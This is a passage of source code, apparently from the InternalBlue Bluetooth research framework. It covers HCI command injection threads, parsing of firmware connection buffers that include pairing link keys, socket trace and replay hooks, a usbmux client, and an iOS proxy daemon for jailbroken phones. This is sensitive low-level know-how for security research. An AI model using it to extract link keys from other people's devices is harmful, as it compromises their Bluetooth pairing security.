# record as argument.
for callback in self.registeredHciCallbacks:
callback(record)
log.debug("Receive Thread terminated.")
def _sendThreadFunc(self):
log.debug("Send Thread started.")
while not self.exit_requested:
# Little bit ugly: need to re-apply changes to the global context to the thread-copy
context.log_level = self.log_level
# Wait for 'send task' in send queue
try:
task = self.sendQueue.get(timeout=0.5)
except queue2k.Empty:
continue
# Extract the components of the task
h4type, data, queue, filter_function = task
# Prepend UART TYPE and length.
out = p8(h4type) + p8(len(data)) + data
# Send command to the chip using IOBluetoothExtended framework
h4type, data, queue, filter_function = task
data = bytearray(data)
opcode = format(data[1], "02x") + format(data[0], "02x")
log.debug(
"Sending command: 0x"
+ "".join(format(x, "02x") for x in data)
+ ", opcode: "
+ opcode
)
if not (h4type == 0x01 or h4type == 0x02):
log.warn("H4 Type {0} not supported by macOS Core!".format(str(h4type)))
if queue is not None:
queue.put(None)
continue
# if the caller expects a response: register a queue to receive the response
if queue is not None and filter_function is not None:
recvQueue = queue2k.Queue(1)
self.registerHciRecvQueue(recvQueue, filter_function)
# Sending command
self.s_inject.sendto(out, ("127.0.0.1", self.hciport + 1))
# if the caller expects a response:
# Wait for the HCI event response by polling the recvQueue
if queue is not None and filter_function is not None:
try:
record = recvQueue.get(timeout=10)
hcipkt = record[0]
data = hcipkt.data
except queue2k.Empty:
log.warn("_sendThreadFunc: No response from the firmware.")
data = None
self.unregisterHciRecvQueue(recvQueue)
continue
queue.put(data)
self.unregisterHciRecvQueue(recvQueue)
log.debug("Send Thread terminated.")
def _teardownSockets(self):
if self.s_inject is not None:
self.s_inject.close()
self.s_inject = None
if self.s_snoop is not None:
self.s_snoop.close()
self.s_snoop = None
return True
def shutdown(self):
if not self.replay:
self.iobe.shutdown()
self.s_inject.sendto(b"", ("127.0.0.1", self.s_snoop.getsockname()[1]))
super(macOSCore, self).shutdown()
View File
@@ -0,0 +1,86 @@
from builtins import object
from internalblue.utils.pwnlib_wrapper import u32, u16, u8
from typing import Any
class ConnectionInformation(object):
connection_handle = 0
connection_number = 0
master_of_connection = False
remote_name_address = 0
remote_address = None
id: bytearray
public_rand = None
extended_lmp_feat = None
link_key = None
tx_pwr_lvl_dBm = 0
effective_key_len = 0
host_supported_feat = None
def __init__(
self,
connection_number,
remote_address,
remote_name_address,
master_of_connection,
connection_handle,
public_rand,
effective_key_len,
link_key,
tx_pwr_lvl_dBm,
extended_lmp_feat,
host_supported_feat,
id,
):
self.connection_number = connection_number
self.remote_address = remote_address
self.remote_name_address = remote_name_address
self.master_of_connection = master_of_connection
self.connection_handle = connection_handle
self.public_rand = public_rand
self.effective_key_len = effective_key_len
self.link_key = link_key
self.tx_pwr_lvl_dBm = tx_pwr_lvl_dBm
self.extended_lmp_feat = extended_lmp_feat
self.host_supported_feat = host_supported_feat
self.id = id
@staticmethod
def from_connection_buffer(connection):
# Possible TODO: Convert this to a Katai Struct parser with a proper .ksy grammar.
return ConnectionInformation(
u32(connection[:4]),
connection[0x28:0x2E][::-1],
u32(connection[0x4C:0x50]),
u32(connection[0x1C:0x20]) & 1 << 15 == 0,
u16(connection[0x64:0x66]),
connection[0x78:0x88],
u8(connection[0xA7:0xA8]),
connection[0x68 : 0x68 + u8(connection[0xA7:0xA8])],
u8(connection[0x9C:0x9D]) - 127,
connection[0x30:0x38],
connection[0x38:0x40],
connection[0x0C:0x0D],
)
# For some reason the following doesn't work because some attributes like link_key end up as one element tuples
# connection_number = u32(connection[:4])
# remote_address = connection[0x28:0x2E][::-1],
# remote_name_address = u32(connection[0x4C:0x50])
# master_of_connection = u32(connection[0x1C:0x20]) & 1 << 15 == 0
# connection_handle = u16(connection[0x64:0x66])
# public_rand = connection[0x78:0x88]
# effective_key_len = u8(connection[0xa7:0xa8])
# link_key = connection[0x68:0x68 + effective_key_len],
# tx_pwr_lvl_dBm = u8(connection[0x9c:0x9d]) - 127,
# extended_lmp_feat = connection[0x30:0x38]
# host_supported_feat = connection[0x38:0x40]
# id = connection[0x0c:0x0d]
# return ConnectionInformation(connection_number, remote_address, remote_name_address, master_of_connection,
# connection_handle,
# public_rand, effective_key_len, link_key, tx_pwr_lvl_dBm, extended_lmp_feat,
# host_supported_feat, id)
def __getitem__(self, item):
# type: (str) -> Any
return vars(self)[item]
+58
View File
@@ -0,0 +1,58 @@
from builtins import object
from typing import Any
class QueueElement(object):
index = 0
next_item = 0
prev = 0
capacity = 0
name = ""
queue_buf_start = 0
available_items = 0
item_size = 0
next_free_slot = 0
free_slots = 0
address = 0
waitlist_length = 0
next = 0
queue_buf_end = 0
thread_waitlist = 0
def __init__(
self,
index,
address,
item_size,
capacity,
available_items,
free_slots,
queue_buf_start,
queue_buf_end,
next_item,
next_free_slot,
thread_waitlist,
waitlist_length,
next,
prev,
name,
):
self.index = index
self.next_item = next_item
self.prev = prev
self.capacity = capacity
self.name = name
self.queue_buf_start = queue_buf_start
self.available_items = available_items
self.item_size = item_size
self.next_free_slot = next_free_slot
self.free_slots = free_slots
self.address = address
self.waitlist_length = waitlist_length
self.next = next
self.queue_buf_end = queue_buf_end
self.thread_waitlist = thread_waitlist
def __getitem__(self, item):
# type: (str) -> Any
return vars(self)[item]
+308
View File
@@ -0,0 +1,308 @@
from __future__ import print_function
from builtins import object
import binascii
import time
try:
from typing import List, Optional, Any, TYPE_CHECKING, Tuple, Dict, Type
except ImportError:
pass
class SocketRecvHook(object):
def __init__(self, socket):
# type: (socket.socket) -> None
self.snoop_socket = socket
self.replace = False
def recv_hook(self, data):
raise NotImplementedError("recv_hook not implemented")
def recv_replace(self, length, **kwargs):
raise NotImplementedError("recv_replace not implemented")
def recv(self, length, **kwargs):
if not self.replace:
data = self.snoop_socket.recv(length, **kwargs)
else:
data = self.recv_replace(length, **kwargs)
self.recv_hook(data)
return data
def recvfrom_replace(self, length, **kwargs):
raise NotImplementedError("recvfrom_replace not implemented")
def recvfrom_hook(self, data, addr):
raise NotImplementedError("recvfrom_hook not implemented")
def recvfrom(self, length, **kwargs):
# type: (int, Dict[str, Any]) -> Tuple[bytes, Any]
if not self.replace:
data, addr = self.snoop_socket.recvfrom(length)
else:
data, addr = self.recvfrom_replace(length, **kwargs)
self.recvfrom_hook(data, addr)
return data, addr
class SocketInjectHook(object):
def __init__(self, socket, core):
# type: (socket.socket, InternalBlue) -> None
self.inject_socket = socket
self.replace = False
self.core = core # type: InternalBlue
def close(self):
if self.inject_socket:
self.inject_socket.close()
def send(self, data):
self.send_hook(data)
if not self.replace:
try:
self.inject_socket.send(data)
except Exception as e:
self.send_exception(e)
self.core.test_failed = e
raise
else:
try:
self.send_replace(data)
except Exception as e:
self.core.test_failed = e
raise
def sendto(self, data, socket):
self.sendto_hook(data, socket)
if not self.replace:
try:
self.inject_socket.sendto(data, socket)
except Exception as e:
self.send_exception(e)
self.core.test_failed = e
raise
else:
try:
self.send_replace(data)
except Exception as e:
self.core.test_failed = e
raise
def getsockname(self):
return self.snoop_socket.getsockname()
def send_hook(self, result):
raise NotImplementedError("send_hook not implemented")
def sendto_hook(self, data, socket):
raise NotImplementedError("sendto_hook not implemented")
def send_replace(self, data):
raise NotImplementedError("send_replace not implemented")
def send_exception(self, e):
raise NotImplementedError("send_exception not implemented")
class SocketDuplexHook(SocketInjectHook, SocketRecvHook):
def __init__(self, snoop_socket, inject_socket, core, **kwargs):
# type: (socket.socket, socket.socket, InternalBlue, Dict[str, Any]) -> None
self.snoop_socket = snoop_socket
self.inject_socket = inject_socket
self.replace = False
self.core = core
pass
class HookBase(object):
def send_hook(self, data):
raise NotImplementedError
def recv_hook(self, data):
raise NotImplementedError
class TraceToFileHook(SocketDuplexHook):
def __init__(self, snoop_socket, inject_socket, core, filename="/tmp/bt_hci.log"):
# type: (socket.socket, socket.socket, InternalBlue, str) -> None
SocketDuplexHook.__init__(self, snoop_socket, inject_socket, core)
self.file = open(filename, "a")
self.replace = False
self.log = []
self.closed = False
def recv_hook(self, data):
line = "RX {}\n".format(binascii.hexlify(data))
print(line)
self.log.append(line)
def send_hook(self, data):
line = "TX {}\n".format(binascii.hexlify(data))
print(line)
self.log.append(line)
def recvfrom_hook(self, data, socket, **kwargs):
line = "RX {}\n".format(binascii.hexlify(data))
print(line)
self.log.append(line)
def sendto_hook(self, data, socket, **kwargs):
line = "TX {}\n".format(binascii.hexlify(data))
print(line)
self.log.append(line)
def send_exception(self, e):
line = "EX '{}'\n".format(e)
print(line)
self.log.append(line)
def close(self):
if not self.closed:
self.inject_socket.close()
self.snoop_socket.close()
self.log.append("Socket closed\n")
self.file.writelines(self.log)
self.file.close()
self.closed = True
import socket
class PrintTrace(SocketDuplexHook):
def send_hook(self, data, **kwargs):
print("Sent: {}".format(binascii.hexlify(data)))
def recv_hook(self, data, **kwargs):
print("Recv: {}".format(binascii.hexlify(data)))
def recvfrom_hook(self, data, addr, **kwargs):
print("Recv: {}".format(binascii.hexlify(data)))
def sendto_hook(self, data, socket, **kwargs):
print("Sent: {}".format(binascii.hexlify(data)))
def send_exception(self, e):
print("Exception: {}".format(e))
class ReplaySocket(SocketDuplexHook):
def __init__(
self, snoop_socket, inject_socket, core, filename="/tmp/bt_hci.log", debug=False
):
SocketDuplexHook.__init__(self, snoop_socket, inject_socket, core)
self.replace = True
with open(filename) as f:
self.log = f.readlines()
self.index = 0
self.debug = debug
if self.log[0].startswith("#"):
self.index = 1
def send_hook(self, data, **kwargs):
if self.debug:
print("Sent: {}".format(binascii.hexlify(data)))
def recv_hook(self, data, **kwargs):
if self.debug:
print("Recv: {}".format(binascii.hexlify(data)))
def recvfrom_hook(self, data, addr, **kwargs):
if self.debug:
print("Recv: {}".format(binascii.hexlify(data)))
def sendto_hook(self, data, socket, **kwargs):
if self.debug:
print("Sent: {}".format(binascii.hexlify(data)))
def send_exception(self, e):
if self.debug:
print("Exception: {}".format(e))
def send_replace(self, data, **kwargs):
encoded_data = "" # type: str
hex_data = binascii.hexlify(data)
direction, encoded_data = self.log[self.index].split(" ", 1)
if direction == "RX":
# Some recieves aren't handled yet, wait a bit so the recv thread takes care of them.
time.sleep(0.2)
direction, encoded_data = self.log[self.index].split(" ", 1)
assert direction == "TX"
log_data = binascii.unhexlify(encoded_data.rstrip("\n"))
assert data == log_data, "Got {}, expected {}".format(hex_data, encoded_data)
self.index += 1
ty, data = self.log[self.index].split(" ", 1)
if ty == "EX":
self.index += 1
raise socket.error(data)
def recv_replace(self, length, **kwargs):
time.sleep(0.001)
direction, encoded_data = self.log[self.index].split(" ", 1)
if direction == "RX":
self.index += 1
return binascii.unhexlify(encoded_data.rstrip("\n"))
else:
raise socket.timeout()
def recvfrom_replace(self, length, **kwargs):
time.sleep(0.001)
direction, encoded_data = self.log[self.index].split(" ", 1)
if direction == "RX":
self.index += 1
return binascii.unhexlify(encoded_data.rstrip("\n")), 1234
else:
raise socket.timeout()
def getsockname(self):
return (None, 0)
def close(self):
assert self.index + 1 == len(self.log)
from internalblue.core import InternalBlue
def hook(core, socket_hook, **hookkwargs):
# type: (Type[InternalBlue], Type[SocketDuplexHook], Any) -> None
def wrap_socket_setup(orig_func):
def wrapped_socket_setup(self, *args, **kwargs):
if not self.replay:
status = orig_func(self, *args, **kwargs)
else:
status = True
h = socket_hook(self.s_snoop, self.s_inject, core=self, **hookkwargs)
self.s_inject = h
self.s_snoop = h
return status
return wrapped_socket_setup
core._setupSockets = wrap_socket_setup(core._setupSockets)
def wrap_teardown_sockets(orig_func):
def wrapped_teardown_sockets(self, *args, **kwargs):
if not self.replay:
return orig_func(self, *args, **kwargs)
else:
self.s_inject.close()
self.s_snoop.close()
return wrapped_teardown_sockets
core._teardownSockets = wrap_teardown_sockets(core._teardownSockets)
def wrap_device_list(orig_func):
def wrapped_device_list(self, *args, **kwargs):
if not self.replay:
return orig_func(self, *args, **kwargs)
else:
return [(self, "ReplayDevice", "ReplayDevice")]
return wrapped_device_list
core.device_list = wrap_device_list(core.device_list)
+234
View File
@@ -0,0 +1,234 @@
#
# usbmux.py - usbmux client library for Python
#
# Copyright (C) 2009 Hector Martin "marcan" <hector@marcansoft.com>
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 2 or version 3.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
import socket, struct, select, sys
try:
import plistlib
haveplist = True
except:
haveplist = False
class MuxError(Exception):
pass
class MuxVersionError(MuxError):
pass
class SafeStreamSocket:
def __init__(self, address, family):
self.sock = socket.socket(family, socket.SOCK_STREAM)
self.sock.connect(address)
def send(self, msg):
totalsent = 0
while totalsent < len(msg):
sent = self.sock.send(msg[totalsent:])
if sent == 0:
raise MuxError("socket connection broken")
totalsent = totalsent + sent
def recv(self, size):
msg = b''
while len(msg) < size:
chunk = self.sock.recv(size-len(msg))
if chunk == b'':
raise MuxError("socket connection broken")
msg = msg + chunk
return msg
class MuxDevice(object):
def __init__(self, devid, usbprod, serial, location):
self.devid = devid
self.usbprod = usbprod
self.serial = serial
self.location = location
def __str__(self):
return "<MuxDevice: ID %d ProdID 0x%04x Serial '%s' Location 0x%x>"%(self.devid, self.usbprod, self.serial, self.location)
class BinaryProtocol(object):
TYPE_RESULT = 1
TYPE_CONNECT = 2
TYPE_LISTEN = 3
TYPE_DEVICE_ADD = 4
TYPE_DEVICE_REMOVE = 5
VERSION = 0
def __init__(self, socket):
self.socket = socket
self.connected = False
def _pack(self, req, payload):
if req == self.TYPE_CONNECT:
return struct.pack("IH", payload['DeviceID'], payload['PortNumber']) + b'\x00\x00'
elif req == self.TYPE_LISTEN:
return b""
else:
raise ValueError("Invalid outgoing request type %d"%req)
def _unpack(self, resp, payload):
if resp == self.TYPE_RESULT:
return {'Number':struct.unpack("I", payload)[0]}
elif resp == self.TYPE_DEVICE_ADD:
devid, usbpid, serial, pad, location = struct.unpack("IH256sHI", payload)
serial = serial.split(b'\00')[0]
return {'DeviceID': devid, 'Properties': {'LocationID': location, 'SerialNumber': serial, 'ProductID': usbpid}}
elif resp == self.TYPE_DEVICE_REMOVE:
devid = struct.unpack("I", payload)[0]
return {'DeviceID': devid}
else:
raise MuxError("Invalid incoming request type %d"%req)
def sendpacket(self, req, tag, payload={}):
payload = self._pack(req, payload)
if self.connected:
raise MuxError("Mux is connected, cannot issue control packets")
length = 16 + len(payload)
data = struct.pack("IIII", length, self.VERSION, req, tag) + payload
self.socket.send(data)
def getpacket(self):
if self.connected:
raise MuxError("Mux is connected, cannot issue control packets")
dlen = self.socket.recv(4)
dlen = struct.unpack("I", dlen)[0]
body = self.socket.recv(dlen - 4)
version, resp, tag = struct.unpack("III",body[:0xc])
if version != self.VERSION:
raise MuxVersionError("Version mismatch: expected %d, got %d"%(self.VERSION,version))
payload = self._unpack(resp, body[0xc:])
return (resp, tag, payload)
class PlistProtocol(BinaryProtocol):
TYPE_RESULT = "Result"
TYPE_CONNECT = "Connect"
TYPE_LISTEN = "Listen"
TYPE_DEVICE_ADD = "Attached"
TYPE_DEVICE_REMOVE = "Detached" #???
TYPE_PLIST = 8
VERSION = 1
def __init__(self, socket):
if not haveplist:
raise Exception("You need the plistlib module")
BinaryProtocol.__init__(self, socket)
def _pack(self, req, payload):
return payload
def _unpack(self, resp, payload):
return payload
def sendpacket(self, req, tag, payload={}):
payload['ClientVersionString'] = 'usbmux.py by marcan'
if isinstance(req, int):
req = [self.TYPE_CONNECT, self.TYPE_LISTEN][req-2]
payload['MessageType'] = req
payload['ProgName'] = 'tcprelay'
BinaryProtocol.sendpacket(self, self.TYPE_PLIST, tag, plistlib.dumps(payload))
def getpacket(self):
resp, tag, payload = BinaryProtocol.getpacket(self)
if resp != self.TYPE_PLIST:
raise MuxError("Received non-plist type %d"%resp)
payload = plistlib.loads(payload)
return payload['MessageType'], tag, payload
class MuxConnection(object):
def __init__(self, socketpath, protoclass):
self.socketpath = socketpath
if sys.platform in ['win32', 'cygwin']:
family = socket.AF_INET
address = ('127.0.0.1', 27015)
else:
family = socket.AF_UNIX
address = self.socketpath
self.socket = SafeStreamSocket(address, family)
self.proto = protoclass(self.socket)
self.pkttag = 1
self.devices = []
def _getreply(self):
while True:
resp, tag, data = self.proto.getpacket()
if resp == self.proto.TYPE_RESULT:
return tag, data
else:
raise MuxError("Invalid packet type received: %d"%resp)
def _processpacket(self):
resp, tag, data = self.proto.getpacket()
if resp == self.proto.TYPE_DEVICE_ADD:
self.devices.append(MuxDevice(data['DeviceID'], data['Properties']['ProductID'], data['Properties']['SerialNumber'], data['Properties']['LocationID']))
elif resp == self.proto.TYPE_DEVICE_REMOVE:
for dev in self.devices:
if dev.devid == data['DeviceID']:
self.devices.remove(dev)
elif resp == self.proto.TYPE_RESULT:
raise MuxError("Unexpected result: %d"%resp)
else:
raise MuxError("Invalid packet type received: %d"%resp)
def _exchange(self, req, payload={}):
mytag = self.pkttag
self.pkttag += 1
self.proto.sendpacket(req, mytag, payload)
recvtag, data = self._getreply()
if recvtag != mytag:
raise MuxError("Reply tag mismatch: expected %d, got %d"%(mytag, recvtag))
return data['Number']
def listen(self):
ret = self._exchange(self.proto.TYPE_LISTEN)
if ret != 0:
raise MuxError("Listen failed: error %d"%ret)
def process(self, timeout=None):
if self.proto.connected:
raise MuxError("Socket is connected, cannot process listener events")
rlo, wlo, xlo = select.select([self.socket.sock], [], [self.socket.sock], timeout)
if xlo:
self.socket.sock.close()
raise MuxError("Exception in listener socket")
if rlo:
self._processpacket()
def connect(self, device, port):
ret = self._exchange(self.proto.TYPE_CONNECT, {'DeviceID':device.devid, 'PortNumber':((port<<8) & 0xFF00) | (port>>8)})
if ret != 0:
raise MuxError("Connect failed: error %d"%ret)
self.proto.connected = True
return self.socket.sock
def close(self):
self.socket.sock.close()
class USBMux(object):
def __init__(self, socketpath=None):
if socketpath is None:
if sys.platform == 'darwin':
socketpath = "/var/run/usbmuxd"
else:
socketpath = "/var/run/usbmuxd"
self.socketpath = socketpath
self.listener = MuxConnection(socketpath, BinaryProtocol)
try:
self.listener.listen()
self.version = 0
self.protoclass = BinaryProtocol
except MuxVersionError:
self.listener = MuxConnection(socketpath, PlistProtocol)
self.listener.listen()
self.protoclass = PlistProtocol
self.version = 1
self.devices = self.listener.devices
def process(self, timeout=None):
self.listener.process(timeout)
def connect(self, device, port):
connector = MuxConnection(self.socketpath, self.protoclass)
return connector.connect(device, port)
+7
View File
@@ -0,0 +1,7 @@
# from pwnlib.util.packing import *
from typing import Union
def bytes_to_hex(bytes):
# type: (Union[bytes, bytearray]) -> str
return "".join(format(x, "02x") for x in bytearray(bytes))
+95
View File
@@ -0,0 +1,95 @@
"""
The following proxies various utilities from pwnlibs by explicitly importing them
To replace a "from pwn import *" remove it and let your IDE highlight all missing methods (Hint: F2 in PyCharm goes to next error)
import the missing (and only the missing!) methods from this module, e.g. with "from internalblue.utils import term, read, log, text, options"
In some cases like "from pwn import socket" this just imports another module.
Use an IPython shell to run "from pwn import *" and check where some method/module actually comes from and either import it directly or add it to this module
"""
# Imports that used to be imported via 'from pwn import *'
import pwnlib
from pwnlib import term
from pwnlib.util import iters
from pwnlib.util.misc import read
from pwnlib.context import context
# TODO: Logging via pwnlib doesn't work yet, so for now it is still used via pwn
# import pwnlib.log
# pwnlib.log.install_default_handler()
# log = pwnlib.log.getLogger('internalbue')
from pwn import log
from pwnlib.term import text
from pwnlib.ui import options, yesno
from pwnlib.util.packing import flat
from pwnlib.asm import disasm, asm
from pwnlib.util.fiddling import isprint, unbits, bits_str, bits
"""
The packers like u8 are generated in a fairly convoluted way that breaks IDE introspection.
The following code remedies this by:
- Explicitly defining a stub function with type annotations
- Generating all the packers like pwnlibs would
- Only if if the current module already has the name of the packer as an attribute (i.e. has a stub function defined) it will be replaced with the pwnlibs version
This means:
- All import issues in the rest of the code are genuine as the imports are only available if an explicit stub function is added
- The functions can be easily replaced by just implementing them and removing the for loop at the end
"""
# Imports needed for this hack
from pwnlib.util.packing import ops, sizes, make_multi
import sys
try:
from typing import Union, Optional, Literal
endianess = Union[Literal["big"]]
except ImportError:
pass
mod = sys.modules[__name__]
_DEFINES = ["u8", "p8", "u32", "u16", "p32"]
def u8(data, endian=None):
# type: (bytes, Optional[endianess]) -> int
pass
def p8(number, endian=None):
# type: (int, Optional[endianess]) -> bytes
pass
def u16(data, endian=None):
# type: (bytes, Optional[endianess]) -> int
pass
def p16(number, endian=None):
# type: (int, Optional[endianess]) -> bytes
pass
def u32(data, endian=None):
# type: (bytes, Optional[endianess]) -> int
pass
def p32(number, endian=None):
# type: (int, Optional[endianess]) -> bytes
pass
for op, size in iters.product(ops, sizes):
name, routine = make_multi(op, size)
if hasattr(mod, name):
setattr(mod, name, routine)
+2
View File
@@ -0,0 +1,2 @@
.theos
.DS_STORE
+14
View File
@@ -0,0 +1,14 @@
include $(THEOS)/makefiles/common.mk
TOOL_NAME = internalblued
internalblued_FILES = main.m ios-proxy.m
internalblued_CFLAGS = -fobjc-arc
include $(THEOS_MAKE_PATH)/tool.mk
SUBPROJECTS += internalbluedprefs
include $(THEOS_MAKE_PATH)/aggregate.mk
after-internalblued-stage::
$(ECHO_NOTHING)$(FAKEROOT) chown root:wheel $(THEOS_STAGING_DIR)/Library/LaunchDaemons/com.ttdennis.internalblued.plist$(ECHO_END)
+25
View File
@@ -0,0 +1,25 @@
# internalblued
This project is a proxy that redirects the *iOS* Bluetooth socket and exposes it as a
TCP socket which can be used to send HCI commands to the Bluetooth controller of the device.
A jailbroken device is required.
A compiled version of `internalblued` can be found in [`packages/com.ttdennis.internalblued_0.0.1_iphoneos-arm.deb`](packages/com.ttdennis.internalblued_0.0.1_iphoneos-arm.deb).
## Installing
1. Transfer the `.deb` file to your iOS device
2. Run `dpkg -i your-deb-file.deb` to install `internalblued` on your device
## Running internalblued
Once installed, `internalblued` runs as a `LaunchDaemon` and is ready to be used. By default it will listen to port 1234 (TCP) on localhost. If `usbmux` is installed, `internalblue` will be able to connect to the phone as the port is passed through `usbmuxd`.
During usage with `internalblue` Bluetooth has to be disabled in the phones Settings App.
In case the Bluetooth chip stops responding, Bluetooth has to be turned on and off again in the Settings App.
There is a Settings App pane for `internalblued` to turn off the daemon and adapt the listening port. However, this is usually not required. As long as `internalblue` is not connected to `internalblued`'s socket, Bluetooth can be used without any restrictions.
## Building internalblued
1. Install [theos](https://github.com/theos/theos)
2. Run `make`
3. A `.deb` file should be in the `packages` folder now
@@ -0,0 +1,5 @@
#import <Preferences/PSListController.h>
@interface IBDRootListController : PSListController
@end
@@ -0,0 +1,80 @@
#include <xpc/xpc.h>
#include "IBDRootListController.h"
#import <Preferences/PSListController.h>
#import <Preferences/PSViewController.h>
#import <Preferences/PSSpecifier.h>
#include "../xpc_protocol.h"
#define PREF_FILE @"/var/mobile/Library/Preferences/com.ttdennis.internalblue-prefs.plist"
@implementation IBDRootListController
xpc_connection_t get_connection() {
xpc_connection_t connection = xpc_connection_create_mach_service(
"com.ttdennis.internalblued", NULL, 0);
// we don't expect any responses anyway
xpc_connection_set_event_handler(connection, ^(xpc_object_t some_object) { });
xpc_connection_resume(connection);
NSLog(@"connection %@", connection);
return connection;
}
-(bool) should_stop {
for (PSSpecifier *spec in [self specifiers]) {
if ([[spec identifier] isEqualToString:@"enabled"]) {
bool isEnabled = [[self readPreferenceValue:spec] boolValue];
NSLog(@"Toggle is: %d", isEnabled);
return !isEnabled;
}
}
return false;
}
- (void)toggle:(NSNotification *)notification {
// close the number keyboard
[self.view endEditing:YES];
// force write the preference file so that the daemon will pick up the correct value
CFPreferencesSynchronize(CFSTR("com.ttdennis.internalblue-prefs"), kCFPreferencesCurrentUser, kCFPreferencesCurrentHost);
sleep(1);
xpc_connection_t connection = get_connection();
xpc_object_t object = xpc_dictionary_create(NULL, NULL, 0);
if ([self should_stop]){
xpc_dictionary_set_uint64(object, "message", CMD_STOP_PROXY);
} else {
xpc_dictionary_set_uint64(object, "message", CMD_START_PROXY);
}
xpc_connection_send_message(connection, object);
}
void notify_ns() {
[[NSNotificationCenter defaultCenter] postNotificationName:@"com.ttdennis.internalblue/toggle" object:nil];
}
- (id) init {
self = [super init];
[[NSNotificationCenter defaultCenter] addObserver:self selector:@selector(toggle:)
name:@"com.ttdennis.internalblue/toggle"
object:nil];
CFNotificationCenterAddObserver(CFNotificationCenterGetDarwinNotifyCenter(), (__bridge const void *)(self), (CFNotificationCallback)notify_ns,
CFSTR("com.ttdennis.internalblue/toggle"), NULL, 0);
return self;
}
- (NSArray *)specifiers {
if (!_specifiers) {
_specifiers = [self loadSpecifiersFromPlistName:@"Root" target:self];
}
return _specifiers;
}
@end
@@ -0,0 +1,15 @@
include $(THEOS)/makefiles/common.mk
BUNDLE_NAME = internalbluedprefs
internalbluedprefs_FILES = IBDRootListController.m
internalbluedprefs_INSTALL_PATH = /Library/PreferenceBundles
internalbluedprefs_FRAMEWORKS = UIKit
internalbluedprefs_PRIVATE_FRAMEWORKS = Preferences
internalbluedprefs_CFLAGS = -fobjc-arc
include $(THEOS_MAKE_PATH)/bundle.mk
internal-stage::
$(ECHO_NOTHING)mkdir -p $(THEOS_STAGING_DIR)/Library/PreferenceLoader/Preferences$(ECHO_END)
$(ECHO_NOTHING)cp entry.plist $(THEOS_STAGING_DIR)/Library/PreferenceLoader/Preferences/internalbluedprefs.plist$(ECHO_END)
@@ -0,0 +1,24 @@
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleDevelopmentRegion</key>
<string>English</string>
<key>CFBundleExecutable</key>
<string>internalbluedprefs</string>
<key>CFBundleIdentifier</key>
<string>com.ttdennis.internalblue-prefs</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundlePackageType</key>
<string>BNDL</string>
<key>CFBundleShortVersionString</key>
<string>1.0.0</string>
<key>CFBundleSignature</key>
<string>????</string>
<key>CFBundleVersion</key>
<string>1.0</string>
<key>NSPrincipalClass</key>
<string>IBDRootListController</string>
</dict>
</plist>
@@ -0,0 +1,55 @@
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>items</key>
<array>
<dict>
<key>cell</key>
<string>PSGroupCell</string>
<key>footerText</key>
<string>Enable the InternalBlue proxy. For a reliable performance Bluetooth must be disabled in the settings.</string>
</dict>
<dict>
<key>cell</key>
<string>PSSwitchCell</string>
<key>default</key>
<false/>
<key>defaults</key>
<string>com.ttdennis.internalblue-prefs</string>
<key>key</key>
<string>isEnabled</string>
<key>label</key>
<string>Enable InternalBlue Proxy</string>
<key>PostNotification</key>
<string>com.ttdennis.internalblue/toggle</string>
<key>id</key>
<string>enabled</string>
</dict>
<dict>
<key>cell</key>
<string>PSGroupCell</string>
<key>footerText</key>
<string>This sets the port the proxy is listening on. InternalBlue assumes 1234. Changing this port requires adapting InternalBlue and restarting the proxy.</string>
</dict>
<dict>
<key>cell</key>
<string>PSEditTextCell</string>
<key>default</key>
<string>1234</string>
<key>defaults</key>
<string>com.ttdennis.internalblue-prefs</string>
<key>key</key>
<string>port</string>
<key>label</key>
<string>Proxy Port</string>
<key>isNumeric</key>
<true/>
<key>id</key>
<string>port</string>
</dict>
</array>
<key>title</key>
<string>InternalBlue Proxy Settings</string>
</dict>
</plist>
@@ -0,0 +1,21 @@
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>entry</key>
<dict>
<key>bundle</key>
<string>internalbluedprefs</string>
<key>cell</key>
<string>PSLinkCell</string>
<key>detail</key>
<string>IBDRootListController</string>
<key>icon</key>
<string>icon.png</string>
<key>isController</key>
<true/>
<key>label</key>
<string>InternalBlue Proxy</string>
</dict>
</dict>
</plist>
+29
View File
@@ -0,0 +1,29 @@
//
// ios-proxy.h
// ios-proxy
//
// Copyright © 2019 ttdennis. All rights reserved.
//
#ifndef ios_proxy_h
#define ios_proxy_h
#include <stdio.h>
#define IOAOSSKYSETCHANNELSPEC 0x800C5414
#define IOAOSSKYGETCHANNELUUID 0x40105412
#define CTLIOCGINFO 0xC0644E03
typedef struct ctl_info {
uint32_t ctl_id;
char ctl_name[96];
} ctl_info_t;
int connect_bt_device();
int create_server(int port);
int wait_for_connection(int server_fd);
void proxy_bt_socket(int client, int bt);
#endif /* ios_proxy_h */
+193
View File
@@ -0,0 +1,193 @@
//
// ios-proxy.m
// ios-proxy
//
// Copyright © 2019 ttdennis. All rights reserved.
//
#include "ios-proxy.h"
#include <stdlib.h>
#include <fcntl.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/errno.h>
#include <sys/select.h>
#include <sys/time.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <unistd.h>
#include <termios.h>
int connect_bt_device() {
int socket_fd = socket(32, 1, 2);
int error = 0;
int ret = 0;
struct sockaddr sock_addr;
struct termios term;
if (socket_fd == 0) {
NSLog(@"[!] Unable to get Bluetooth socket\n");
return -1;
}
ctl_info_t *ctl_inf = malloc(sizeof(ctl_info_t));
ctl_inf->ctl_id = 0;
strcpy(ctl_inf->ctl_name, "com.apple.uart.bluetooth");
